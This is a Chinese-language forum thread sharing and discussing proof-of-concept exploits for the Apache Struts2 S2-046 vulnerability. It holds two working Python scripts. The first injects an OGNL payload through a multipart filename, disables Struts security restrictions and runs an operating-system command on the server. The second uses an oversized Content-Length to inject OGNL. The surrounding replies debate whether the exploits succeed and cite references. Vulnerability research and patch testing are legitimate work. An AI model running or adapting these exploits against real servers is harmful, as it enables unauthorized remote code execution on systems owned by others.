是另一个poc的图么，，可以用markdown来发图

[code]#!/usr/bin/env python

encoding:utf-8

import requests

class struts2046():

    def poc(self):  

        boundary="---------------------------735323031399963166993862150"

        paylaod="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

        url = 'http://127.0.0.1/test.action'

        headers = {'Content-Type': 'multipart/form-data; boundary='+boundary+''}

        data ="--"+boundary+"\r\nContent-Disposition: form-data; name=\"foo\"; filename=\""+paylaod+"\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--"+boundary+"--"

        r = requests.post(url, headers=headers,data=data)

        return r.text

if name == 'main':

    test = struts2046()

    print test.poc()[/code]

通过楼主的脚本成功了，前天的时候被 \0b  折磨了半天

为什么我发的另外两个图片变成了



这两个呢？？

burp修改大小发送请求失败时候，可以试着去掉菜单栏Repeater-->Update Content-Length的勾选，然后进行实验，这样修改的大小不会在被burp修改，但是我利用这个方法去修改包也没有测试成功，另附上测试成功的poc（.sh）

http分隔符不应该是\r\n么。这poc 能用么

我是来拜师的，顺便学习的。

厉害，感谢分享POC，我正好调试分析下。。

膜拜大牛们

漏洞确实存在的content-length

参考：https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#

http://bobao.360.cn/learning/detail/3639.html

Content-Length 的长度值超长

这个漏洞需要在strust.xml中加入 <constant name="struts.multipart.parser" value="jakarta-stream" />才能触发。然而这个jakarta-stream很少使用

实际测试，找了一批存在046漏洞的站点，发现content-length 测试并不成功，应该说概率很低

[code]#!/usr/bin env python

import socket

host="xxxxx"

se=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

se.connect((host,80))

se.send("GET / HTTP/1.1\n")

se.send("User-Agent:curl/7.29.0\n")

se.send("Host:"+host+"\n")

se.send("Accept:/\n")

se.send("Content-Type:multipart/form-data; boundary=---------------------------735323031399963166993862150\n")

se.send("Connection:close\n")

se.send("Content-Length:1000000000\n")

se.send("\n\n")

se.send("-----------------------------735323031399963166993862150\n")

se.send('Content-Disposition: form-data; name="foo"; filename="%{#context[\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'].addHeader(\'X-Test\',\'Kaboom\')}"\n')

se.send("Content-Type: text/plain\n\n")

se.send("x\n")

se.send("-----------------------------735323031399963166993862150--\n\n")

while True:

  buf = se.recv(1024)

  if not len(buf):

    break

  print buf[/code]

   辛苦了哈

哦哦，知道了，找个机会试试，多谢你了
